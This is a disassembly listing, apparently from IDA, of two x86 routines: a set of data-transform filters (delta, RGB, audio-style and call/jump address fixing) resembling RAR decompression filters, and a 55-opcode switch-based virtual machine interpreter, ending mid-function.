jle loc_9B3006
jmp short loc_9B2C3D
; ---------------------------------------------------------------------------
loc_9B2C3A: ; CODE XREF: sub_9B2B17+2A9j
mov esi, [ebp+var_20]
loc_9B2C3D: ; CODE XREF: sub_9B2B17+121j
xor ebx, ebx
push 1Ch ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_34], ebx
mov [ebp+var_30], ebx
mov [ebp+var_24], ebx
mov [ebp+var_14], ebx
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
call memset
mov eax, [ebp+var_8]
add esp, 0Ch
mov [ebp+var_2C], ebx
cmp eax, esi
jmp loc_9B2DAE
; ---------------------------------------------------------------------------
loc_9B2C6D: ; CODE XREF: sub_9B2B17+29Aj
mov eax, [ebp+var_30]
mov esi, [ebp+var_C]
mov edx, [ebp+var_10]
mov ecx, eax
sub ecx, [ebp+var_24]
mov edi, ebx
mov ebx, ecx
imul esi, edi
mov ecx, [ebp+var_18]
imul edx, ebx
mov cl, [ecx]
add esi, edx
mov edx, [ebp+var_14]
imul edx, eax
inc [ebp+var_18]
add esi, edx
mov edx, [ebp+var_34]
mov [ebp+var_24], eax
mov [ebp+var_1], cl
lea eax, [esi+edx*8]
mov esi, [ebp+var_1C]
movzx ecx, cl
shr eax, 3
and eax, 0FFh
sub eax, ecx
mov ecx, [ebp+var_28]
mov [ecx+esi], al
movsx esi, [ebp+var_1]
mov cl, al
sub cl, dl
movsx ecx, cl
shl esi, 3
push esi ; X
mov [ebp+var_30], ecx
mov [ebp+var_34], eax
call labs
add [ebp+Dst], eax
mov eax, esi
sub eax, [ebp+var_24]
push eax ; X
call labs
add [ebp+var_50], eax
mov eax, [ebp+var_24]
add eax, esi
push eax ; X
call labs
add [ebp+var_4C], eax
mov eax, esi
sub eax, ebx
push eax ; X
call labs
add [ebp+var_48], eax
lea eax, [esi+ebx]
push eax ; X
call labs
add [ebp+var_44], eax
mov eax, esi
sub eax, edi
push eax ; X
call labs
add [ebp+var_40], eax
add esi, edi
push esi ; X
call labs
add [ebp+var_3C], eax
add esp, 1Ch
test byte ptr [ebp+var_2C], 1Fh
jnz short loc_9B2DA2
mov esi, [ebp+Dst]
xor edi, edi
xor ecx, ecx
mov [ebp+Dst], edi
inc ecx
loc_9B2D37: ; CODE XREF: sub_9B2B17+235j
lea eax, [ebp+ecx*4+Dst]
mov edx, [eax]
cmp edx, esi
jnb short loc_9B2D45
mov esi, edx
mov edi, ecx
loc_9B2D45: ; CODE XREF: sub_9B2B17+228j
and dword ptr [eax], 0
inc ecx
cmp ecx, 7
jb short loc_9B2D37
mov eax, edi
dec eax
jz short loc_9B2D99
dec eax
jz short loc_9B2D8E
dec eax
jz short loc_9B2D83
dec eax
jz short loc_9B2D78
dec eax
jz short loc_9B2D6D
dec eax
jnz short loc_9B2DA2
cmp [ebp+var_C], 10h
jge short loc_9B2DA2
inc [ebp+var_C]
jmp short loc_9B2DA2
; ---------------------------------------------------------------------------
loc_9B2D6D: ; CODE XREF: sub_9B2B17+246j
cmp [ebp+var_C], 0FFFFFFF0h
jl short loc_9B2DA2
dec [ebp+var_C]
jmp short loc_9B2DA2
; ---------------------------------------------------------------------------
loc_9B2D78: ; CODE XREF: sub_9B2B17+243j
cmp [ebp+var_10], 10h
jge short loc_9B2DA2
inc [ebp+var_10]
jmp short loc_9B2DA2
; ---------------------------------------------------------------------------
loc_9B2D83: ; CODE XREF: sub_9B2B17+240j
cmp [ebp+var_10], 0FFFFFFF0h
jl short loc_9B2DA2
dec [ebp+var_10]
jmp short loc_9B2DA2
; ---------------------------------------------------------------------------
loc_9B2D8E: ; CODE XREF: sub_9B2B17+23Dj
cmp [ebp+var_14], 10h
jge short loc_9B2DA2
inc [ebp+var_14]
jmp short loc_9B2DA2
; ---------------------------------------------------------------------------
loc_9B2D99: ; CODE XREF: sub_9B2B17+23Aj
cmp [ebp+var_14], 0FFFFFFF0h
jl short loc_9B2DA2
dec [ebp+var_14]
loc_9B2DA2: ; CODE XREF: sub_9B2B17+213j
; sub_9B2B17+249j ...
mov eax, [ebp+var_1C]
add eax, [ebp+var_38]
inc [ebp+var_2C]
cmp eax, [ebp+var_20]
loc_9B2DAE: ; CODE XREF: sub_9B2B17+151j
mov [ebp+var_1C], eax
jl loc_9B2C6D
inc [ebp+var_8]
mov eax, [ebp+var_8]
cmp eax, [ebp+var_38]
jl loc_9B2C3A
jmp loc_9B3006
; ---------------------------------------------------------------------------
loc_9B2DCB: ; CODE XREF: sub_9B2B17+2Aj
mov ecx, [eax+14h]
mov edx, [eax+8]
mov ebx, [eax+4]
mov eax, [eax]
mov [ebp+var_C], edx
sub ebx, 3
cmp ecx, 1E000h
lea edx, [eax+ecx]
mov [ebp+var_20], ecx
mov [ebp+var_18], eax
mov [ebp+var_28], edx
mov [eax+3C020h], ecx
jge loc_9B3006
mov eax, ebx
neg eax
mov [ebp+var_8], edi
mov [ebp+var_24], eax
loc_9B2E04: ; CODE XREF: sub_9B2B17+3A3j
mov eax, [ebp+var_20]
and [ebp+var_1C], 0
cmp [ebp+var_8], eax
jge loc_9B2EB0
mov eax, [ebp+var_24]
mov esi, [ebp+var_28]
mov [ebp+var_2C], eax
mov eax, [ebp+var_20]
sub eax, [ebp+var_8]
sub esi, ebx
add esi, [ebp+var_8]
push 3
dec eax
xor edx, edx
pop ecx
div ecx
inc eax
mov [ebp+var_10], eax
loc_9B2E34: ; CODE XREF: sub_9B2B17+397j
cmp [ebp+var_2C], 3
jl short loc_9B2E90
movzx edi, byte ptr [esi]
movzx eax, byte ptr [esi-3]
mov [ebp+var_30], edi
sub edi, eax
add edi, [ebp+var_1C]
mov [ebp+var_14], eax
mov eax, edi
sub eax, [ebp+var_1C]
push eax ; X
call labs
mov [ebp+var_38], eax
mov eax, edi
sub eax, [ebp+var_30]
push eax ; X
call labs
sub edi, [ebp+var_14]
mov [ebp+var_34], eax
push edi ; X
call labs
mov ecx, [ebp+var_34]
add esp, 0Ch
cmp [ebp+var_38], ecx
jg short loc_9B2E81
cmp [ebp+var_38], eax
jle short loc_9B2E90
loc_9B2E81: ; CODE XREF: sub_9B2B17+363j
cmp [ebp+var_34], eax
jg short loc_9B2E8B
mov eax, [ebp+var_30]
jmp short loc_9B2E93
; ---------------------------------------------------------------------------
loc_9B2E8B: ; CODE XREF: sub_9B2B17+36Dj
mov eax, [ebp+var_14]
jmp short loc_9B2E93
; ---------------------------------------------------------------------------
loc_9B2E90: ; CODE XREF: sub_9B2B17+321j
; sub_9B2B17+368j
mov eax, [ebp+var_1C]
loc_9B2E93: ; CODE XREF: sub_9B2B17+372j
; sub_9B2B17+377j
mov ecx, [ebp+var_18]
sub al, [ecx]
inc [ebp+var_18]
add [ebp+var_2C], 3
movzx eax, al
mov [ebx+esi], al
add esi, 3
dec [ebp+var_10]
mov [ebp+var_1C], eax
jnz short loc_9B2E34
loc_9B2EB0: ; CODE XREF: sub_9B2B17+2F7j
inc [ebp+var_8]
inc [ebp+var_24]
cmp [ebp+var_8], 3
jl loc_9B2E04
mov esi, [ebp+var_20]
mov eax, [ebp+var_C]
add esi, 0FFFFFFFEh
cmp eax, esi
jge loc_9B3006
mov edx, [ebp+var_28]
loc_9B2ED4: ; CODE XREF: sub_9B2B17+3CDj
mov cl, [edx+eax+1]
add [edx+eax], cl
add [edx+eax+2], cl
add eax, 3
cmp eax, esi
jl short loc_9B2ED4
jmp loc_9B3006
; ---------------------------------------------------------------------------
loc_9B2EEB: ; CODE XREF: sub_9B2B17+21j
mov ecx, [eax]
mov [ebp+var_20], ecx
mov ecx, [eax+14h]
cmp ecx, 3C000h
jge loc_9B3006
cmp ecx, 15h
jl loc_9B3006
mov ebx, [eax+1Ch]
lea eax, [ecx-15h]
shr ebx, 4
cmp eax, edi
jbe loc_9B3006
dec eax
shr eax, 4
inc eax
mov [ebp+var_38], eax
loc_9B2F21: ; CODE XREF: sub_9B2B17+484j
mov eax, [ebp+var_20]
movzx eax, byte ptr [eax]
and eax, 1Fh
sub eax, 10h
js short loc_9B2F93
mov al, ds:byte_9B9DE8[eax]
test al, al
jz short loc_9B2F93
and [ebp+var_1C], 0
push 12h
movzx edi, al
pop esi
loc_9B2F43: ; CODE XREF: sub_9B2B17+47Aj
mov ecx, [ebp+var_1C]
xor eax, eax
inc eax
shl eax, cl
test edi, eax
jz short loc_9B2F88
mov ecx, [ebp+var_20]
lea eax, [esi+18h]
push 4
push eax
call sub_9B2A86
cmp eax, 5
pop ecx
pop ecx
jnz short loc_9B2F88
mov ecx, [ebp+var_20]
push 14h
push 14h
push esi
call sub_9B2A86
pop ecx
sub eax, ebx
pop ecx
and eax, 0FFFFFh
push eax
push [ebp+var_20]
mov ecx, esi
call sub_9B2AC6
add esp, 0Ch
loc_9B2F88: ; CODE XREF: sub_9B2B17+436j
; sub_9B2B17+44Bj
inc [ebp+var_1C]
add esi, 29h
cmp esi, 64h
jle short loc_9B2F43
loc_9B2F93: ; CODE XREF: sub_9B2B17+416j
; sub_9B2B17+420j
add [ebp+var_20], 10h
inc ebx
dec [ebp+var_38]
jnz short loc_9B2F21
jmp short loc_9B3006
; ---------------------------------------------------------------------------
loc_9B2F9F: ; CODE XREF: sub_9B2B17+18j
mov ecx, [eax+14h]
cmp ecx, 3C000h
mov edx, [eax]
mov eax, [eax+1Ch]
jge short loc_9B3006
cmp ecx, 4
jl short loc_9B3006
cmp esi, 2
setz bl
add ecx, 0FFFFFFFCh
add bl, 0E8h
cmp ecx, edi
mov [ebp+var_20], edi
jbe short loc_9B3006
mov esi, eax
loc_9B2FC9: ; CODE XREF: sub_9B2B17+4EDj
mov al, [edx]
inc edx
inc [ebp+var_20]
inc esi
cmp al, 0E8h
jz short loc_9B2FD8
cmp al, bl
jnz short loc_9B3001
loc_9B2FD8: ; CODE XREF: sub_9B2B17+4BBj
mov eax, [edx]
test eax, eax
jge short loc_9B2FEC
lea edi, [esi+eax]
test edi, edi
jl short loc_9B2FF7
add eax, 1000000h
jmp short loc_9B2FF5
; ---------------------------------------------------------------------------
loc_9B2FEC: ; CODE XREF: sub_9B2B17+4C5j
cmp eax, 1000000h
jge short loc_9B2FF7
sub eax, esi
loc_9B2FF5: ; CODE XREF: sub_9B2B17+4D3j
mov [edx], eax
loc_9B2FF7: ; CODE XREF: sub_9B2B17+4CCj
; sub_9B2B17+4DAj
add [ebp+var_20], 4
add edx, 4
add esi, 4
loc_9B3001: ; CODE XREF: sub_9B2B17+4BFj
cmp [ebp+var_20], ecx
jb short loc_9B2FC9
loc_9B3006: ; CODE XREF: sub_9B2B17+41j
; sub_9B2B17+54j ...
pop ebx
loc_9B3007: ; CODE XREF: sub_9B2B17+Ej
pop edi
pop esi
leave
retn
sub_9B2B17 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B300B proc near ; CODE XREF: sub_9B3713+96p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
mov edx, [ebp+arg_0]
lea eax, [eax+eax*4]
push ebx
lea eax, [edx+eax*8]
cmp edx, eax
mov ebx, edx
push esi
mov [ebp+var_4], 17D7840h
mov [ebp+var_8], ebx
mov [ebp+var_10], eax
jbe short loc_9B303B
loc_9B3032: ; CODE XREF: sub_9B300B+32j
; sub_9B300B+2A0j ...
xor eax, eax
loc_9B3034: ; CODE XREF: sub_9B300B+626j
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_9B3038: ; CODE XREF: sub_9B300B+618j
mov edx, [ebp+arg_0]
loc_9B303B: ; CODE XREF: sub_9B300B+25j
cmp ebx, edx
jb short loc_9B3032
lea eax, [ebx+8]
push edi
call sub_9B2A6A
mov esi, eax
lea eax, [ebx+18h]
push edi
call sub_9B2A6A
pop ecx
pop ecx
mov ecx, [ebx]
cmp ecx, 36h ; switch 55 cases
ja loc_9B3617 ; default
; jumptable 009B3060 case 39
jmp ds:off_9B3637[ecx*4] ; switch jump
loc_9B3067: ; DATA XREF: .text:off_9B3637o
cmp dword ptr [ebx+4], 0 ; jumptable 009B3060 case 0
jz short loc_9B3075 ; jumptable 009B3060 case 41
movzx eax, byte ptr [eax]
jmp loc_9B3544
; ---------------------------------------------------------------------------
loc_9B3075: ; CODE XREF: sub_9B300B+55j
; sub_9B300B+60j
; DATA XREF: ...
mov eax, [eax] ; jumptable 009B3060 case 41
loc_9B3077: ; CODE XREF: sub_9B300B+32Cj
; sub_9B300B+4ACj ...
mov [esi], eax
jmp loc_9B3617 ; default
; jumptable 009B3060 case 39
; ---------------------------------------------------------------------------
loc_9B307E: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov al, [eax] ; jumptable 009B3060 case 40
jmp loc_9B3544
; ---------------------------------------------------------------------------
loc_9B3085: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov ecx, [ebx+4] ; jumptable 009B3060 case 1
test ecx, ecx
jz short loc_9B3091
movzx esi, byte ptr [esi]
jmp short loc_9B3093
; ---------------------------------------------------------------------------
loc_9B3091: ; CODE XREF: sub_9B300B+7Fj
mov esi, [esi]
loc_9B3093: ; CODE XREF: sub_9B300B+84j
test ecx, ecx
jz short loc_9B309C
movzx eax, byte ptr [eax]
jmp short loc_9B309E
; ---------------------------------------------------------------------------
loc_9B309C: ; CODE XREF: sub_9B300B+8Aj
mov eax, [eax]
loc_9B309E: ; CODE XREF: sub_9B300B+8Fj
mov ecx, esi
sub ecx, eax
loc_9B30A2: ; CODE XREF: sub_9B300B+E0j
jnz short loc_9B30AC
loc_9B30A4: ; CODE XREF: sub_9B300B:loc_9B3258j
push 2
pop eax
jmp loc_9B3263
; ---------------------------------------------------------------------------
loc_9B30AC: ; CODE XREF: sub_9B300B:loc_9B30A2j
cmp esi, ecx
sbb eax, eax
neg eax
and ecx, 80000000h
or eax, ecx
jmp loc_9B3263
; ---------------------------------------------------------------------------
loc_9B30BF: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
movzx ecx, byte ptr [esi] ; jumptable 009B3060 case 42
movzx edx, byte ptr [eax]
mov eax, ecx
sub eax, edx
jnz short loc_9B30D0
push 2
pop ecx
jmp short loc_9B30DD
; ---------------------------------------------------------------------------
loc_9B30D0: ; CODE XREF: sub_9B300B+BEj
cmp ecx, eax
sbb ecx, ecx
neg ecx
and eax, 80000000h
or ecx, eax
loc_9B30DD: ; CODE XREF: sub_9B300B+C3j
mov [edi+24h], ecx
jmp loc_9B3617 ; default
; jumptable 009B3060 case 39
; ---------------------------------------------------------------------------
loc_9B30E5: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov esi, [esi] ; jumptable 009B3060 case 43
mov ecx, esi
sub ecx, [eax]
jmp short loc_9B30A2
; ---------------------------------------------------------------------------
loc_9B30ED: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov ecx, [ebx+4] ; jumptable 009B3060 case 2
test ecx, ecx
jz short loc_9B30F9
movzx edx, byte ptr [esi]
jmp short loc_9B30FB
; ---------------------------------------------------------------------------
loc_9B30F9: ; CODE XREF: sub_9B300B+E7j
mov edx, [esi]
loc_9B30FB: ; CODE XREF: sub_9B300B+ECj
test ecx, ecx
jz short loc_9B3104
movzx eax, byte ptr [eax]
jmp short loc_9B3106
; ---------------------------------------------------------------------------
loc_9B3104: ; CODE XREF: sub_9B300B+F2j
mov eax, [eax]
loc_9B3106: ; CODE XREF: sub_9B300B+F7j
lea ecx, [eax+edx]
test ecx, ecx
jz loc_9B3229
cmp ecx, edx
jmp short loc_9B314C
; ---------------------------------------------------------------------------
loc_9B3115: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov al, [eax] ; jumptable 009B3060 case 44
add [esi], al
jmp loc_9B3617 ; default
; jumptable 009B3060 case 39
; ---------------------------------------------------------------------------
loc_9B311E: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov eax, [eax] ; jumptable 009B3060 case 45
add [esi], eax
jmp loc_9B3617 ; default
; jumptable 009B3060 case 39
; ---------------------------------------------------------------------------
loc_9B3127: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov ecx, [ebx+4] ; jumptable 009B3060 case 3
test ecx, ecx
jz short loc_9B3133
movzx edx, byte ptr [esi]
jmp short loc_9B3135
; ---------------------------------------------------------------------------
loc_9B3133: ; CODE XREF: sub_9B300B+121j
mov edx, [esi]
loc_9B3135: ; CODE XREF: sub_9B300B+126j
test ecx, ecx
jz short loc_9B313E
movzx eax, byte ptr [eax]
jmp short loc_9B3140
; ---------------------------------------------------------------------------
loc_9B313E: ; CODE XREF: sub_9B300B+12Cj
mov eax, [eax]
loc_9B3140: ; CODE XREF: sub_9B300B+131j
mov ecx, edx
sub ecx, eax
jz loc_9B3229
cmp edx, ecx
loc_9B314C: ; CODE XREF: sub_9B300B+108j
sbb eax, eax
mov edx, ecx
neg eax
and edx, 80000000h
or eax, edx
jmp loc_9B33F7
; ---------------------------------------------------------------------------
loc_9B315F: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov al, [eax] ; jumptable 009B3060 case 46
sub [esi], al
jmp loc_9B3617 ; default
; jumptable 009B3060 case 39
; ---------------------------------------------------------------------------
loc_9B3168: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov eax, [eax] ; jumptable 009B3060 case 47
sub [esi], eax
jmp loc_9B3617 ; default
; jumptable 009B3060 case 39
; ---------------------------------------------------------------------------
loc_9B3171: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
test byte ptr [edi+24h], 2 ; jumptable 009B3060 case 4
jmp loc_9B3281
; ---------------------------------------------------------------------------
loc_9B317A: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
test byte ptr [edi+24h], 2 ; jumptable 009B3060 case 5
jmp loc_9B3293
; ---------------------------------------------------------------------------
loc_9B3183: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov ecx, [ebx+4] ; jumptable 009B3060 case 6
test ecx, ecx
jz short loc_9B318F
movzx eax, byte ptr [esi]
jmp short loc_9B3191
; ---------------------------------------------------------------------------
loc_9B318F: ; CODE XREF: sub_9B300B+17Dj
mov eax, [esi]
loc_9B3191: ; CODE XREF: sub_9B300B+182j
inc eax
jmp short loc_9B31BA
; ---------------------------------------------------------------------------
loc_9B3194: ; CODE XREF: sub_9B300B+1B1j
mov [esi], eax
loc_9B3196: ; CODE XREF: sub_9B300B+1B5j
test eax, eax
jmp loc_9B3258
; ---------------------------------------------------------------------------
loc_9B319D: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
inc byte ptr [esi] ; jumptable 009B3060 case 48
jmp loc_9B3617 ; default
; jumptable 009B3060 case 39
; ---------------------------------------------------------------------------
loc_9B31A4: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
inc dword ptr [esi] ; jumptable 009B3060 case 49
jmp loc_9B3617 ; default
; jumptable 009B3060 case 39
; ---------------------------------------------------------------------------
loc_9B31AB: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov ecx, [ebx+4] ; jumptable 009B3060 case 7
test ecx, ecx
jz short loc_9B31B7
movzx eax, byte ptr [esi]
jmp short loc_9B31B9
; ---------------------------------------------------------------------------
loc_9B31B7: ; CODE XREF: sub_9B300B+1A5j
mov eax, [esi]
loc_9B31B9: ; CODE XREF: sub_9B300B+1AAj
dec eax
loc_9B31BA: ; CODE XREF: sub_9B300B+187j
test ecx, ecx
jz short loc_9B3194
mov [esi], al
jmp short loc_9B3196
; ---------------------------------------------------------------------------
loc_9B31C2: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
dec byte ptr [esi] ; jumptable 009B3060 case 50
jmp loc_9B3617 ; default
; jumptable 009B3060 case 39
; ---------------------------------------------------------------------------
loc_9B31C9: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
dec dword ptr [esi] ; jumptable 009B3060 case 51
jmp loc_9B3617 ; default
; jumptable 009B3060 case 39
; ---------------------------------------------------------------------------
loc_9B31D0: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov ecx, [ebx+4] ; jumptable 009B3060 case 9
test ecx, ecx
jz short loc_9B31DC
movzx edx, byte ptr [esi]
jmp short loc_9B31DE
; ---------------------------------------------------------------------------
loc_9B31DC: ; CODE XREF: sub_9B300B+1CAj
mov edx, [esi]
loc_9B31DE: ; CODE XREF: sub_9B300B+1CFj
test ecx, ecx
jz short loc_9B31E7
movzx eax, byte ptr [eax]
jmp short loc_9B31E9
; ---------------------------------------------------------------------------
loc_9B31E7: ; CODE XREF: sub_9B300B+1D5j
mov eax, [eax]
loc_9B31E9: ; CODE XREF: sub_9B300B+1DAj
xor eax, edx
jmp short loc_9B3225
; ---------------------------------------------------------------------------
loc_9B31ED: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov ecx, [ebx+4] ; jumptable 009B3060 case 10
test ecx, ecx
jz short loc_9B31F9
movzx edx, byte ptr [esi]
jmp short loc_9B31FB
; ---------------------------------------------------------------------------
loc_9B31F9: ; CODE XREF: sub_9B300B+1E7j
mov edx, [esi]
loc_9B31FB: ; CODE XREF: sub_9B300B+1ECj
test ecx, ecx
jz short loc_9B3204
movzx eax, byte ptr [eax]
jmp short loc_9B3206
; ---------------------------------------------------------------------------
loc_9B3204: ; CODE XREF: sub_9B300B+1F2j
mov eax, [eax]
loc_9B3206: ; CODE XREF: sub_9B300B+1F7j
and eax, edx
jmp short loc_9B3225
; ---------------------------------------------------------------------------
loc_9B320A: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov ecx, [ebx+4] ; jumptable 009B3060 case 11
test ecx, ecx
jz short loc_9B3216
movzx edx, byte ptr [esi]
jmp short loc_9B3218
; ---------------------------------------------------------------------------
loc_9B3216: ; CODE XREF: sub_9B300B+204j
mov edx, [esi]
loc_9B3218: ; CODE XREF: sub_9B300B+209j
test ecx, ecx
jz short loc_9B3221
movzx eax, byte ptr [eax]
jmp short loc_9B3223
; ---------------------------------------------------------------------------
loc_9B3221: ; CODE XREF: sub_9B300B+20Fj
mov eax, [eax]
loc_9B3223: ; CODE XREF: sub_9B300B+214j
or eax, edx
loc_9B3225: ; CODE XREF: sub_9B300B+1E0j
; sub_9B300B+1FDj
mov ecx, eax
jnz short loc_9B3231
loc_9B3229: ; CODE XREF: sub_9B300B+100j
; sub_9B300B+139j ...
push 2
pop eax
jmp loc_9B33F7
; ---------------------------------------------------------------------------
loc_9B3231: ; CODE XREF: sub_9B300B+21Cj
mov eax, ecx
and eax, 80000000h
jmp loc_9B33F7
; ---------------------------------------------------------------------------
loc_9B323D: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov ecx, [ebx+4] ; jumptable 009B3060 case 12
test ecx, ecx
jz short loc_9B3249
movzx esi, byte ptr [esi]
jmp short loc_9B324B
; ---------------------------------------------------------------------------
loc_9B3249: ; CODE XREF: sub_9B300B+237j
mov esi, [esi]
loc_9B324B: ; CODE XREF: sub_9B300B+23Cj
test ecx, ecx
jz short loc_9B3254
movzx eax, byte ptr [eax]
jmp short loc_9B3256
; ---------------------------------------------------------------------------
loc_9B3254: ; CODE XREF: sub_9B300B+242j
mov eax, [eax]
loc_9B3256: ; CODE XREF: sub_9B300B+247j
and eax, esi
loc_9B3258: ; CODE XREF: sub_9B300B+18Dj
jz loc_9B30A4
and eax, 80000000h
loc_9B3263: ; CODE XREF: sub_9B300B+9Cj
; sub_9B300B+AFj
mov [edi+24h], eax
jmp loc_9B3617 ; default
; jumptable 009B3060 case 39
; ---------------------------------------------------------------------------
loc_9B326B: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
test byte ptr [edi+27h], 80h ; jumptable 009B3060 case 13
jmp short loc_9B3281
; ---------------------------------------------------------------------------
loc_9B3271: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
test byte ptr [edi+27h], 80h ; jumptable 009B3060 case 14
jmp short loc_9B3293
; ---------------------------------------------------------------------------
loc_9B3277: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
test byte ptr [edi+24h], 1 ; jumptable 009B3060 case 15
jmp short loc_9B3281
; ---------------------------------------------------------------------------
loc_9B327D: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
test byte ptr [edi+24h], 3 ; jumptable 009B3060 case 16
loc_9B3281: ; CODE XREF: sub_9B300B+16Aj
; sub_9B300B+264j ...
jz loc_9B3617 ; default
; jumptable 009B3060 case 39
jmp short loc_9B3299 ; jumptable 009B3060 case 8
; ---------------------------------------------------------------------------
loc_9B3289: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
test byte ptr [edi+24h], 3 ; jumptable 009B3060 case 17
jmp short loc_9B3293
; ---------------------------------------------------------------------------
loc_9B328F: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
test byte ptr [edi+24h], 1 ; jumptable 009B3060 case 18
loc_9B3293: ; CODE XREF: sub_9B300B+173j
; sub_9B300B+26Aj ...
jnz loc_9B3617 ; default
; jumptable 009B3060 case 39
loc_9B3299: ; CODE XREF: sub_9B300B+55j
; sub_9B300B+27Cj
; DATA XREF: ...
mov esi, [esi] ; jumptable 009B3060 case 8
cmp esi, [ebp+arg_4]
jnb loc_9B362E
dec [ebp+var_4]
cmp [ebp+var_4], 0
jle loc_9B3032
lea eax, [esi+esi*4]
lea ebx, [edx+eax*8]
jmp loc_9B361D
; ---------------------------------------------------------------------------
loc_9B32BC: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
add dword ptr [edi+20h], 0FFFFFFFCh ; jumptable 009B3060 case 19
mov edx, [esi]
jmp loc_9B3484
; ---------------------------------------------------------------------------
loc_9B32C7: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov eax, [edi+20h] ; jumptable 009B3060 case 20
mov ecx, [edi]
and eax, 3FFFFh
mov eax, [eax+ecx]
mov [esi], eax
add dword ptr [edi+20h], 4
jmp loc_9B3617 ; default
; jumptable 009B3060 case 39
; ---------------------------------------------------------------------------
loc_9B32DF: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov eax, ebx ; jumptable 009B3060 case 21
sub eax, [ebp+arg_0]
push 28h
cdq
pop ebx
idiv ebx
add dword ptr [edi+20h], 0FFFFFFFCh
mov ecx, [edi+20h]
mov edx, [edi]
and ecx, 3FFFFh
inc eax
mov [ecx+edx], eax
mov esi, [esi]
cmp esi, [ebp+arg_4]
jnb loc_9B362E
dec [ebp+var_4]
cmp [ebp+var_4], 0
jle loc_9B3032
mov ecx, [ebp+arg_0]
lea eax, [esi+esi*4]
lea ebx, [ecx+eax*8]
jmp loc_9B361D
; ---------------------------------------------------------------------------
loc_9B3323: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
cmp dword ptr [ebx+4], 0 ; jumptable 009B3060 case 23
jz short loc_9B3333
movzx eax, byte ptr [esi]
not al
jmp loc_9B3544
; ---------------------------------------------------------------------------
loc_9B3333: ; CODE XREF: sub_9B300B+31Cj
mov eax, [esi]
not eax
jmp loc_9B3077
; ---------------------------------------------------------------------------
loc_9B333C: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov ebx, [ebx+4] ; jumptable 009B3060 case 24
test ebx, ebx
jz short loc_9B3348
movzx eax, byte ptr [esi]
jmp short loc_9B334A
; ---------------------------------------------------------------------------
loc_9B3348: ; CODE XREF: sub_9B300B+336j
mov eax, [esi]
loc_9B334A: ; CODE XREF: sub_9B300B+33Bj
test ebx, ebx
jz short loc_9B3353
movzx ecx, byte ptr [esi]
jmp short loc_9B3355
; ---------------------------------------------------------------------------
loc_9B3353: ; CODE XREF: sub_9B300B+341j
mov ecx, [esi]
loc_9B3355: ; CODE XREF: sub_9B300B+346j
mov edx, eax
shl edx, cl
test edx, edx
jnz short loc_9B3362
push 2
pop ebx
jmp short loc_9B336A
; ---------------------------------------------------------------------------
loc_9B3362: ; CODE XREF: sub_9B300B+350j
mov ebx, edx
and ebx, 80000000h
loc_9B336A: ; CODE XREF: sub_9B300B+355j
dec ecx
shl eax, cl
shr eax, 1Fh
jmp short loc_9B33C5
; ---------------------------------------------------------------------------
loc_9B3372: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov ebx, [ebx+4] ; jumptable 009B3060 case 25
test ebx, ebx
jz short loc_9B337E
movzx eax, byte ptr [esi]
jmp short loc_9B3380
; ---------------------------------------------------------------------------
loc_9B337E: ; CODE XREF: sub_9B300B+36Cj
mov eax, [esi]
loc_9B3380: ; CODE XREF: sub_9B300B+371j
test ebx, ebx
jz short loc_9B3389
movzx ecx, byte ptr [esi]
jmp short loc_9B338B
; ---------------------------------------------------------------------------
loc_9B3389: ; CODE XREF: sub_9B300B+377j
mov ecx, [esi]
loc_9B338B: ; CODE XREF: sub_9B300B+37Cj
mov edx, eax
shr edx, cl
loc_9B338F: ; CODE XREF: sub_9B300B+3AAj
test edx, edx
jnz short loc_9B33B7
push 2
pop ebx
jmp short loc_9B33BF
; ---------------------------------------------------------------------------
loc_9B3398: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
